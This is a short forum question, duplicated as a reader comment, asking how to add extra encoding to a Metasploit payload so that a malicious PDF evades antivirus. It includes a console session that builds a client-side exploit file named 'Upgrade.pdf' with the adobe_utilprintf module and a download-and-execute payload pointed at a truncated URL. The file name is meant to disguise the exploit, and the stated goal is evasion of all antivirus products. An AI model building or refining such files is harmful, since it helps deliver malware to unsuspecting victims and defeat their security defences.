just quick question about bypassing AV with msfencode, when creating PDF-exploit file for client side attack:
- does it possible to perform an additional encoding (or run encoder repeatedly) for the chosen payload during the exploit creation session? The default encoding are not enough to create 'clean' PDF exploit file, as all AVs flag it.
example:
msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME Upgrade.pdf FILENAME => Upgrade.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/download_exec PAYLOAD => windows/download_exec msf exploit(adobe_utilprintf) > set URL http//.. URL => http://.. msf exploit(adobe_utilprintf) > exploit ... ...
Is it possible to add additional payload encoding during the exploit creation?
Reader Comments (1)
just quick question about bypassing AV with msfencode, when creating PDF-exploit file for client side attack:
- does it possible to perform an additional encoding (or run encoder repeatedly) for the chosen payload during the exploit creation session? The default encoding are not enough to create 'clean' PDF exploit file, as all AVs flag it.
example:
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME Upgrade.pdf
FILENAME => Upgrade.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/download_exec
PAYLOAD => windows/download_exec
msf exploit(adobe_utilprintf) > set URL http//..
URL => http://..
msf exploit(adobe_utilprintf) > exploit
... ...
Is it possible to add additional payload encoding during the exploit creation?